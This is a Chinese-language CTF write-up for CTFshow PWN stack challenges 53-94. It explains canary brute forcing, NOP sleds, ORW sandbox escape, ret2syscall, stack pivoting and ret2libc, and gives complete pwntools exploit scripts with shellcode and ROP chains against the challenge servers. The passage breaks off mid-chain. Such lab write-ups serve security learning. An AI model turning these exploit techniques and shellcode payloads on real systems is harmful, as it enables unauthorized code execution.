CTFshow PWN 53-94(栈漏洞)

53–逐字节爆破

先输入可输入的字节数

这里先输入200个字节

用来试canary

image-20251009191901626

memcmp函数

memcmp按字节顺序比较,第一个字节不匹配就立即返回。所以我们可以利用这个特性逐个字节爆破,而不需要一次性猜对完整的4字节canary。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *
from LibcSearcher import *
context.terminal = ['tmux', 'splitw', '-h']

# context(log_level='debug', arch='amd64', os='linux')

# p = process('/home/sirius/桌面/winDesktop/Share/download/pwn')

# p = remote('pwn.challenge.ctf.show',28104)

elf = ELF('/home/sirius/桌面/winDesktop/Share/download/pwn (9)')

canary = b''
for i in range(4):
for guess in range(256):
p = remote('pwn.challenge.ctf.show',28109)
p.sendlineafter(b'>',b'200')
pay = flat(
b'a'*0x20,
canary,
p8(guess)
)
p.sendafter(b"$ ",pay)
answer = str(p.recv())
if "Error *** Stack Smashing Detected *** : Canary Value Incorrect!" not in answer:
canary += p8(guess)
log.success(f'canary: {canary.hex()}')
break
else:
p.close()
p = remote('pwn.challenge.ctf.show',28109)
flag = 0x08048696
p.sendlineafter(b'>',b'-1')
pay = flat(
b"a"*0x20,
canary,
p32(0)*4,
flag
)
p.sendafter(b'$',pay)
p.interactive()


61–leave

64位开了pie

image-20251010173802884

先泄露v5的地址,但是栈空间不够

image-20251010173904349

有leave

写进v5+24+8中

image-20251010173835586

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#!/usr/bin/env python3
from pwn import *
from LibcSearcher import *
context.terminal = ['tmux', 'splitw', '-h']
context(log_level='debug', arch='amd64', os='linux')

# p = process('/home/sirius/桌面/winDesktop/Share/download/pwn (18)')

p = remote('pwn.challenge.ctf.show',28142)
elf = ELF('/home/sirius/桌面/winDesktop/Share/download/pwn (18)')
#-------------------------------------------------
rv = lambda :p.recv()
ru = lambda x:p.recvuntil(x)
rud = lambda x:p.recvuntil(x,drop=True)
rl = lambda x:p.recvline()
sd = lambda x:p.send(x)
sl = lambda x:p.sendline(x)
sa = lambda x,y:p.sendafter(x,y)
sla = lambda x,y:p.sendlineafter(x,y)
l32 = lambda data :u32(data.ljust(4,b'\x00'))
l64 = lambda data :u64(data.ljust(8,b'\x00'))
uu32 = lambda : u32(p.recv(4).ljust(4, b"\x00"))
uu64 = lambda : u64(p.recv(6).ljust(8, b"\x00"))
leak = lambda name, addr:log.success('{} -> {:#x}'.format(name, addr))
inter = lambda : p.interactive()
lg = lambda address,data:log.success('%s: '%(address)+hex(data))
if args.G:
gdb.attach(p)
#-------------------------------------------------

padding = 24
ru("What's this : [")
v5 = eval(rud("]")) #去掉 ]
#eval()将字符串数据转为整型数据
lg("v5",v5)
shell = asm(shellcraft.sh())
pay = flat(
padding *b'a',
v5+24+8,
shell
)
sl(pay)
inter()

shell长度限制(短shell)

read限制了shell的长度

buf填充的垃圾数据长0x10

rbp长0x8

返回地址长0x8

最终剩余能写入的只有0x38-0x10-0x8-0x8=0x18个字节了也就shell要是24字节内

image-20251010194559032

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#!/usr/bin/env python3
from pwn import *
from LibcSearcher import *
context.terminal = ['tmux', 'splitw', '-h']
context(log_level='debug', arch='amd64', os='linux')

# p = process('/home/sirius/桌面/winDesktop/Share/download/pwn (18)')

p = remote('pwn.challenge.ctf.show',28120)
elf = ELF('/home/sirius/桌面/winDesktop/Share/download/pwn (18)')
#-------------------------------------------------
rv = lambda :p.recv()
ru = lambda x:p.recvuntil(x)
rud = lambda x:p.recvuntil(x,drop=True)
rl = lambda x:p.recvline()
sd = lambda x:p.send(x)
sl = lambda x:p.sendline(x)
sa = lambda x,y:p.sendafter(x,y)
sla = lambda x,y:p.sendlineafter(x,y)
l32 = lambda data :u32(data.ljust(4,b'\x00'))
l64 = lambda data :u64(data.ljust(8,b'\x00'))
uu32 = lambda : u32(p.recv(4).ljust(4, b"\x00"))
uu64 = lambda : u64(p.recv(6).ljust(8, b"\x00"))
leak = lambda name, addr:log.success('{} -> {:#x}'.format(name, addr))
inter = lambda : p.interactive()
lg = lambda address,data:log.success('%s: '%(address)+hex(data))
if args.G:
gdb.attach(p)
#-------------------------------------------------

padding = 24
ru("What's this : [")
v5 = eval(rud("]")) #去掉 ]
#eval()将字符串数据转为整型数据
lg("v5",v5)
shell = b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05'
pay = flat(
padding *b'a',
v5+24+8,
shell
)
sl(pay)
inter()

66–check函数绕过

看伪代码

image-20251013150849081

过了check函数之后才能执行buf

image-20251013151300389

这里buf必须为

image-20251013151317286

check中的while(*a)遇到\x00就不检验了,还有strlen

如果shellcode是以\x00开头就能提权了

下面代码寻找\x00开头汇编指令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
from itertools import *
import re

for i in range(1, 3):
for j in product([p8(k) for k in range(256)], repeat=i):
payload = b"\x00" + b"".join(j)
res = disasm(payload)
if (
res != " ..."
and not re.search(r"\[\w*?\]", res)
and ".byte" not in res
):
print(res)
input()

image-20251013155707780

1
2
sl(b"\x00\xc0" + asm(shellcraft.sh())) 
it()

或者

1
2
3
4
5
6
7
8
from pwn import *
context.arch="amd64"
p = remote("pwn.challenge.ctf.show", 28302)
shellcode = asm(shellcraft.sh())
payload = b'\x00B\x00' + shellcode
p.sendline(payload)
p.interactive()

67–nop sled空操作雪橇

NOP Sled

NOP Sled,中文常被形象地称为“空操作雪橇”、“代码滑梯”或“NOP滑板”,是指在一段shellcode之前插入大量连续的NOP指令

**NOP指令:**即“No Operation”指令,对于x86架构的CPU,其机器码是 0x90。执行该指令时,CPU不会进行任何有效操作,仅仅将程序计数器(EIP/RIP)加一,然后继续执行下一条指令。

攻击者的目标是让程序执行流跳转到我们布置的shellcode上。但由于栈地址随机化(ASLR)等因素,我们往往无法精确预测shellcode的起始地址。NOP Sled就像在shellcode前铺上了一片长长的、平滑的雪橇道。只要程序执行流跳转到这个雪橇道的任何位置,CPU都会顺着这些NOP指令一路“滑行”下去,直到最终“滑进”并执行我们的shellcode。

检查保护32位

加了canary保护栈溢出受阻,没开NX可以在栈上执行shellcode

image-20251013162330924

进主函数

image-20251030141451698

分析之后,他会先泄露一个地址

这个地址是&v1+v2,这个v2是一个[-668,668]的一个随机数

image-20251030141537233

下面让输入最多输入4096字节,后面可以输入一个地址,最后执行地址的内容

image-20251030141827676

思路就是将shellcode写入这个地址中,后面调用就行,但是这个地址是个不确定的地址

就可以用到代码滑梯技术

在payload中插入大量nop,程序执行nop会向下执行,直到滑入shellcode

这里计算预期shellcode填入执行的地址

也就是覆盖到了main函数的栈中,将大量nop加shell注入到里面

image-20251203073800198

shellcode写入地址的计算

1
2
3
4
5
6
7
# v2 = addr-&v1 = rand() % 1337 - 668

# shell_addr = &v1 + 0x15 + 0x4*3(覆盖到了main函数的栈中)

# &v1 = addr - (rand() % 1337 - 668)(通过第一行移项得来)

# shell_addr = addr - rand() % 1337 + 668 + 0x21

Exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#!/usr/bin/env python3
from pwn import *
from LibcSearcher import *
from itertools import *
import re
context.terminal = ['tmux', 'splitw', '-h']
context(log_level='debug', arch='i386', os='linux')

# p = process('/home/sirius/桌面/winDesktop/Share/download/pwn (18)')

p = remote("pwn.challenge.ctf.show", 28240)

# elf = ELF('/home/sirius/桌面/winDesktop/Share/download/pwn (18)')

#-------------------------------------------------
rv = lambda :p.recv()
ru = lambda x:p.recvuntil(x)
rud = lambda x:p.recvuntil(x,drop=True)
rl = lambda x:p.recvline()
sd = lambda x:p.send(x)
sl = lambda x:p.sendline(x)
sa = lambda x,y:p.sendafter(x,y)
sla = lambda x,y:p.sendlineafter(x,y)
l32 = lambda data :u32(data.ljust(4,b'\x00'))
l64 = lambda data :u64(data.ljust(8,b'\x00'))
uu32 = lambda : u32(p.recv(4).ljust(4, b"\x00"))
uu64 = lambda : u64(p.recv(6).ljust(8, b"\x00"))
leak = lambda name, addr:log.success('{} -> {:#x}'.format(name, addr))
inter = lambda : p.interactive()
lg = lambda address,data:log.success('%s: '%(address)+hex(data))
if args.G:
gdb.attach(p)
#-------------------------------------------------

shell = asm(shellcraft.sh())
nop_len = 1337
ru(b"location:")
addr = eval(rud(b"\n"))
lg("addr",addr)

# v2 = addr-&v1 = rand() % 1337 - 668

# shell_addr = &v1 + 0x15 + 0x4*3

# v1 = addr - (rand() % 1337 - 668)

# shell_addr = addr - rand() % 1337 + 668 + 0x21

shell = asm(shellcraft.sh())
pay = b'\x90'*nop_len+shell
shell_addr = addr+668+0x21
ru(b"What will you do?\n> ")
sl(pay)
ru("Where do you start?\n> ")
sl(hex(shell_addr))

inter()

69–ORW沙箱逃逸

查保护64位

image-20251102212802867

查沙箱的工具

1
2
3
sudo apt install gcc ruby-dev

gem install seccomp-tools

开了沙箱保护,但是开了系统调用号为0,1,2,60的系统调用,也就是可以用ORW

image-20251102213026799

主要逻辑,输入可0x38字节,加上覆盖ebp和返回地址的空间,可以溢出的空间只有0x8字节了

image-20251102213413404

这个函数中发现有jmp rsp,跳到栈顶的意思

image-20251102215845130

0x20字节放不下ORW,这时候看到mmap函数申请了,0x123000地址,有0x1000字节的空间可写可执行

那么写payload引导进0x123000中写入ORW即可

image-20251102215936524

覆盖返回地址为jmp rsp,让rip跳到栈顶后面重新计算栈顶将rip指向0x30的位置

也就是缓冲区的最顶端,为的就是执行payload中的内容

1
p64(jmp_rsp) + asm("sub rsp,0x30;jmp rsp")

执行payload中内容到mmap分配的可执行空间

payload构造:

1
2
3
4
5
jmp_rsp = 0x400A01
pay =asm(shellcraft.read(0, mmap, 0x100))
pay += asm("mov rax,0x123000;jmp rax")
pay = pay.ljust(0x28,b"\x00")
pay += p64(jmp_rsp) + asm("sub rsp,0x30;jmp rsp")

交互时发送payload,随后发送ORW

ORW shellcode板子

1
2
3
4
5
mmap = 0x123000
orw_shellcode = shellcraft.open("/ctfshow_flag")
orw_shellcode += shellcraft.read(3, mmap, 0x100)
orw_shellcode += shellcraft.write(1, mmap, 0x100)
shellcode = asm(orw_shellcode)

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#!/usr/bin/env python3
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(log_level='debug', arch='amd64', os='linux')
p = remote("pwn.challenge.ctf.show", 28173)
#-------------------------------------------------
rv = lambda :p.recv()
ru = lambda x:p.recvuntil(x)
rud = lambda x:p.recvuntil(x,drop=True)
rl = lambda x:p.recvline()
sd = lambda x:p.send(x)
sl = lambda x:p.sendline(x)
sa = lambda x,y:p.sendafter(x,y)
sla = lambda x,y:p.sendlineafter(x,y)
l32 = lambda data :u32(data.ljust(4,b'\x00'))
l64 = lambda data :u64(data.ljust(8,b'\x00'))
uu32 = lambda : u32(p.recv(4).ljust(4, b"\x00"))
uu64 = lambda : u64(p.recv(6).ljust(8, b"\x00"))
leak = lambda name, addr:log.success('{} -> {:#x}'.format(name, addr))
inter = lambda : p.interactive()
lg = lambda address,data:log.success('%s: '%(address)+hex(data))
if args.G:
gdb.attach(p)
#-------------------------------------------------

mmap = 0x123000
orw_shellcode = shellcraft.open("/ctfshow_flag")
orw_shellcode += shellcraft.read(3, mmap, 0x100)
orw_shellcode += shellcraft.write(1, mmap, 0x100)
shellcode = asm(orw_shellcode)

jmp_rsp = 0x400A01
pay =asm(shellcraft.read(0, mmap, 0x100))
pay += asm("mov rax,0x123000;jmp rax")
pay = pay.ljust(0x28,b"\x00")
pay += p64(jmp_rsp) + asm("sub rsp,0x30;jmp rsp")
ru(b"to do")
sl(pay)
sl(shellcode)

inter()

71–ret2syscall(32位)

查保护,只开了NX栈不可执行,32位

image-20251103162627634

程序没有libc,没system为静态编译,需要用到系统调用

这里劫持对象危险函数gets,不限制输入

image-20251103162916711

找到binsh,记录地址

image-20251103163159825

用gdb调出溢出偏移量为112字节

image-20251103163327526

通过ROPgadget获得必要的gadget

0xb为execve的系统调用号

int 0x80进入内核状态

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#!/usr/bin/env python3
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(log_level='debug', arch='i386', os='linux')
p = remote("pwn.challenge.ctf.show", 28127)
#-------------------------------------------------
rv = lambda :p.recv()
ru = lambda x:p.recvuntil(x)
rud = lambda x:p.recvuntil(x,drop=True)
rl = lambda x:p.recvline()
sd = lambda x:p.send(x)
sl = lambda x:p.sendline(x)
sa = lambda x,y:p.sendafter(x,y)
sla = lambda x,y:p.sendlineafter(x,y)
l32 = lambda data :u32(data.ljust(4,b'\x00'))
l64 = lambda data :u64(data.ljust(8,b'\x00'))
uu32 = lambda : u32(p.recv(4).ljust(4, b"\x00"))
uu64 = lambda : u64(p.recv(6).ljust(8, b"\x00"))
leak = lambda name, addr:log.success('{} -> {:#x}'.format(name, addr))
inter = lambda : p.interactive()
lg = lambda address,data:log.success('%s: '%(address)+hex(data))
if args.G:
gdb.attach(p)
#-------------------------------------------------

padding = b'a' * 112
pop_eax = 0x080bb196
binsh = 0x080BE408
pop_edx_ecx_ebx = 0x0806eb90
int_0x80 = 0x08049421

pay = flat(
padding,
pop_edx_ecx_ebx, #覆盖rip为rop链子起始地址
0, # 当执行 pop edx 时,这个 0 会被弹入 edx(envp = NULL)
0, # 当执行 pop ecx 时,这个 0 会被弹入 ecx(argv = NULL)
binsh,
pop_eax, # gadget 地址:pop eax; ret -> 下面栈上的值会被弹到 eax(用来设 syscall number)
0xb, # 当执行 pop eax 时,这个 0xb(11) 被放到 eax(eax = 11 = execve in i386)
int_0x80 # ret 到这里执行 int 0x80 -> 触发 syscall(execve("/bin/sh", NULL, NULL))
)
ru(b'ret2syscall!')
sl(pay)

inter()

无/bin/sh,写入bss

1
readelf -S ./pwn72 | grep .bss
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#!/usr/bin/env python3
from pwn import *
from LibcSearcher import *
from itertools import *
import re
context.terminal = ['tmux', 'splitw', '-h']
context(log_level='debug', arch='i386', os='linux')

# p = process('/home/sirius/桌面/winDesktop/Share/download/pwn (18)')

p = remote("pwn.challenge.ctf.show", 28294)

# elf = ELF('/home/sirius/桌面/winDesktop/Share/download/pwn (18)')

#-------------------------------------------------
rv = lambda :p.recv()
ru = lambda x:p.recvuntil(x)
rud = lambda x:p.recvuntil(x,drop=True)
rl = lambda x:p.recvline()
sd = lambda x:p.send(x)
sl = lambda x:p.sendline(x)
sa = lambda x,y:p.sendafter(x,y)
sla = lambda x,y:p.sendlineafter(x,y)
l32 = lambda data :u32(data.ljust(4,b'\x00'))
l64 = lambda data :u64(data.ljust(8,b'\x00'))
uu32 = lambda : u32(p.recv(4).ljust(4, b"\x00"))
uu64 = lambda : u64(p.recv(6).ljust(8, b"\x00"))
leak = lambda name, addr:log.success('{} -> {:#x}'.format(name, addr))
inter = lambda : p.interactive()
lg = lambda address,data:log.success('%s: '%(address)+hex(data))
if args.G:
gdb.attach(p)
#-------------------------------------------------

padding = b'a' * 44
pop_eax = 0x080bb2c6
pop_edx_ecx_ebx = 0x0806ecb0
int_0x80 = 0x0806f350
bss = 0x080eaf80
binsh = b'/bin/sh\x00'

pay = flat(
padding,
pop_eax,
0x3,
pop_edx_ecx_ebx,
0x10,
bss,
0,
int_0x80,
pop_eax,
0xb,
pop_edx_ecx_ebx,
0,
0,
bss,
int_0x80
)
ru("system?")
sl(pay)
sl(binsh)

inter()

74–one_gadget

1
one_gadget /lib/x86_64-linux-gnu/libc.so.6

EXP:

1
2
3
4
5
6
7
8
execve = 0x10a2fc
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
io.recvuntil("this:")
printf_addr = eval(io.recvuntil("?",drop=True))

libc_base = printf_addr - libc.sym['printf']
execve = execve + libc_base
sl(str(execve))

75–栈迁移 (32位2次leave)

32位,有栈溢出,溢出空间不够

printf函数在不遇到\x00的情况下会一直向后输出

利用这个原理可以泄露出ebp上面的内容(旧函数的ebp)

image-20251119181703742

栈迁移原理介绍与应用 - Max1z - 博客园

有了旧的ebp,经过动态调试,计算出这个旧的ebp和第二个read函数的栈顶的距离

image-20251119215158941

这里计算出旧的函数的ebp和这个栈的esp相距0x38字节,利用leave将运行到最后的esp劫持回这个栈顶

image-20251119215744707

最后构造payload

image-20251119215955120

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#!/usr/bin/env python3
from pwn import *
from LibcSearcher import *
context.terminal = ['tmux', 'splitw', '-h']
context(log_level='debug', arch='i386', os='linux')

# p = process('/home/sirius/桌面/winDesktop/Share/download/pwn (18)')

p = remote('pwn.challenge.ctf.show',28156)
elf = ELF('/home/sirius/桌面/winDesktop/Share/download/pwn (31)')
#-------------------------------------------------
rv = lambda :p.recv()
ru = lambda x:p.recvuntil(x)
rud = lambda x:p.recvuntil(x,drop=True)
rl = lambda x:p.recvline()
sd = lambda x:p.send(x)
sl = lambda x:p.sendline(x)
sa = lambda x,y:p.sendafter(x,y)
sla = lambda x,y:p.sendlineafter(x,y)
l32 = lambda data :u32(data.ljust(4,b'\x00'))
l64 = lambda data :u64(data.ljust(8,b'\x00'))
uu32 = lambda : u32(p.recv(4).ljust(4, b"\x00"))
uu64 = lambda : u64(p.recv(6).ljust(8, b"\x00"))
leak = lambda name, addr:log.success('{} -> {:#x}'.format(name, addr))
inter = lambda : p.interactive()
lg = lambda address,data:log.success('%s: '%(address)+hex(data))
if args.G:
gdb.attach(p)
#-------------------------------------------------
system = elf.sym['system']
ru("codename:")
pay1 = b'a'*0x27+b'b'
sd(pay1)
ru(b'b')
old_ebp = uu32()
lg('old_ebp',old_ebp)
leave = 0x080484d5
s = old_ebp -0x38
binsh = old_ebp - 0x28
lg('binsh',binsh)
pay2 = flat(
b'aaaa',
system,
0,
binsh,
b'/bin/sh\x00',
b'a'*0x10,
s,
leave,
)
sla(b'do?',pay2)

inter()

76–栈迁移(一次leave)

查保护32位,开了NX,没开pie地址随机化

image-20251120142918614

先输入一个数据

将其进行了base64解码

接着判断这个解码之后的内容长度,如果大于0xc也就是12字节,就报错

判断分支,将base解码之后的内容复制给了input地址上

image-20251120143012000

进入下面auth函数,

image-20251120143403035

将input内容复制给了v4,这里是漏洞点,从0x8开始复制的,但是能复制0xc个字节,

也就是可以覆盖到ebp但是不能覆盖到ret,

有leave,就可以劫持栈帧,把数据布置到input的bss段处

接下来构造payload,利用leave这个特性

将ebp覆盖成input所指向的bss段地址,mov esp,ebp

这时候esp被赋值为ebp地址,移动到ebp位置,此时的esp=input的bss段地址

接下来执行pop ebp,ebp此时被弹到input地址,现在所指向aaaa,与此同时,esp+4

下面执行ret,也就是pop eip

意思就是从当前esp读取4字节,作为下一个指令地址,而此时的esp为后门地址

image-20251120143452745

correct函数中有后门

image-20251120144031905

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!/usr/bin/env python3
from pwn import *
from LibcSearcher import *
from base64 import *
context.terminal = ['tmux', 'splitw', '-h']
context(log_level='debug', arch='i386', os='linux')

# p = process('/home/sirius/桌面/winDesktop/Share/download/pwn (18)')

p = remote('pwn.challenge.ctf.show',28312)
elf = ELF('/home/sirius/桌面/winDesktop/Share/download/pwn (31)')
#-------------------------------------------------
rv = lambda :p.recv()
ru = lambda x:p.recvuntil(x)
rud = lambda x:p.recvuntil(x,drop=True)
rl = lambda x:p.recvline()
sd = lambda x:p.send(x)
sl = lambda x:p.sendline(x)
sa = lambda x,y:p.sendafter(x,y)
sla = lambda x,y:p.sendlineafter(x,y)
l32 = lambda data :u32(data.ljust(4,b'\x00'))
l64 = lambda data :u64(data.ljust(8,b'\x00'))
uu32 = lambda : u32(p.recv(4).ljust(4, b"\x00"))
uu64 = lambda : u64(p.recv(6).ljust(8, b"\x00"))
leak = lambda name, addr:log.success('{} -> {:#x}'.format(name, addr))
inter = lambda : p.interactive()
lg = lambda address,data:log.success('%s: '%(address)+hex(data))
if args.G:
gdb.attach(p)
#-------------------------------------------------

binsh = 0x08049284
input = 0x0811EB40
ru(b"CTFshow login: ")
pay = b'aaaa'+p32(binsh)+p32(input)

pay = base64.b64encode(pay).decode('utf-8')
sl(pay)

inter()

77–ret2libc(泄露puts64位)

64位的

image-20251205142941792

进ctfshow函数

image-20251205143011115

这一段的意思大概意思是让用户循环输入然后读入,当遇到\n回车时就会退出

image-20251205143022124

没有限制输入,看栈空间,04位置是v4,但是看上面流程v4是用户输入的索引值

所以这里进行垃圾数据填充时要注意还原原本的v4内容

也就是0x110-0x4+1=0x10d

这里占4字节可以用p32()打包,正常泄露puts函数打ret2libc即可

image-20251205142957673

Exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#!/usr/bin/env python3
from pwn import *
from LibcSearcher import *
from base64 import *
context.terminal = ['tmux', 'splitw', '-h']
context(log_level='debug', arch='amd64', os='linux')

p = remote('pwn.challenge.ctf.show',28127)
elf = ELF('./pwn')
#-------------------------------------------------
rv = lambda :p.recv()
ru = lambda x:p.recvuntil(x)
rud = lambda x:p.recvuntil(x,drop=True)
rl = lambda x:p.recvline()
sd = lambda x:p.send(x)
sl = lambda x:p.sendline(x)
sa = lambda x,y:p.sendafter(x,y)
sla = lambda x,y:p.sendlineafter(x,y)
l32 = lambda data :u32(data.ljust(4,b'\x00'))
l64 = lambda data :u64(data.ljust(8,b'\x00'))
uu32 = lambda : u32(p.recv(4).ljust(4, b"\x00"))
uu64 = lambda : u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
leak = lambda name, addr:log.success('{} -> {:#x}'.format(name, addr))
inter = lambda : p.interactive()
lg = lambda address,data:log.success('%s: '%(address)+hex(data))
if args.G:
gdb.attach(p)
#-------------------------------------------------

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = elf.sym['ctfshow']
lg('main',main)

rdi = 0x4008e3
ret = 0x400576
pay = flat(
cyclic(0x110-4),
p32(0x10d),
p64(0),
rdi,
puts_got,
puts_plt,
main
)
ru("T^T")
sl(pay)
puts = uu64()
lg('puts',puts)
libc = LibcSearcher('puts',puts)
libc_base = puts - libc.dump('puts')
system = libc_base + libc.dump('system')
binsh = libc_base + libc.dump('str_bin_sh')
lg('system',system)
lg('binsh',binsh)

pay2 = flat(
cyclic(0x110-4),
p32(0x10d),
cyclic(8),
ret,
rdi,
binsh,
system
)
sl(pay2)
inter()

32位泄露puts函数打ret2libc板子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
padding = ''

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = elf.sym['main']

payload = flat([cyclic(padding),puts_plt,main,puts_got])
sl(payload)

real_addr = get_32addr()
libc = LibcSearcher("puts",real_addr)
libc_base = real_addr - libc.dump('puts')
sys,binsh = get_32sb_libcsearch()
payload2 = flat([cyclic(padding),sys,0xdeadbeef,binsh])
sl(payload2)


78–ret2syscall(64位)

进去发现是静态编译

image-20251208151107174

思路首先是要想办法调用execve(“/bin/sh”,null,null)

然后找合适的空间传入/bin/sh字符串

最后系统调用execve

在32位程序中execve的系统调用号为0xb=11,64位为0x3b=59

在x64 Linux 中,系统调用通过寄存器传递参数:

  1. rax:系统调用号。read 的系统调用号是 0
  2. rdi:第一个参数 fd (文件描述符)。0 代表标准输入,也就是我们脚本的输入。
  3. rsi:第二个参数 buf (缓冲区地址)。我们填入 bss_addr,让数据读到这里。
  4. rdx:第三个参数 count (要读取的字节数)。我们填入 0x10 (16字节),足够放下 "/bin/sh\x00"
  5. 后边是rcx,r8,r9

image-20251208151223548

也可以直接用工具构造ropchain

1
ROPgadget --binary 文件 --ropchain  

EXP:

手动构造版本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
from LibcSearcher import *

#context.log_level = 'debug'
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = remote('pwn.challenge.ctf.show',28148)
#io = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')

offsets = 0x58
rax = 0x46b9f8
rdi = 0x4016c3
rsi = 0x4017d7
rdx = 0x4377d5
bss = 0x6c2000
syscall = 0x45bac5
payload = b'a' * offsets + p64(rax) + p64(0) #栈溢出覆盖返回地址,0为read函数的系统调用号
payload += p64(rdi) + p64(0) #设置rdi = 0(标准输入)
payload += p64(rsi) + p64(bss) #设置参数的地址,这里写进bss段
payload += p64(rdx) + p64(0x10) #最后一个参数设置输入的字节数这里设置16个字节够用
payload += p64(syscall) #触发系统调用也就是执行:read(0, bss_addr, 0x10)

payload += p64(rax) + p64(59) #系统调用execve
payload += p64(rdi) + p64(bss) #设置execve的参数指向bss段,就是我们输入的/bin/sh
payload += p64(rsi) + p64(0)
payload += p64(rdx) + p64(0)
payload += p64(syscall)
io.sendline(payload)
io.sendline('/bin/sh\x00')
io.interactive()

工具构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
from pwn import *
from struct import pack

io = remote('pwn.challenge.ctf.show',28178)
# Padding goes here
p = cyclic(0x50+8)

p += pack('<Q', 0x00000000004017d7) # pop rsi ; ret
p += pack('<Q', 0x00000000006c0060) # @ .data
p += pack('<Q', 0x000000000046b9f8) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x00000000004680c1) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x00000000004017d7) # pop rsi ; ret
p += pack('<Q', 0x00000000006c0068) # @ .data + 8
p += pack('<Q', 0x000000000041c35f) # xor rax, rax ; ret
p += pack('<Q', 0x00000000004680c1) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x00000000004016c3) # pop rdi ; ret
p += pack('<Q', 0x00000000006c0060) # @ .data
p += pack('<Q', 0x00000000004017d7) # pop rsi ; ret
p += pack('<Q', 0x00000000006c0068) # @ .data + 8
p += pack('<Q', 0x00000000004377d5) # pop rdx ; ret
p += pack('<Q', 0x00000000006c0068) # @ .data + 8
p += pack('<Q', 0x000000000041c35f) # xor rax, rax ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045afa0) # add rax, 1 ; ret
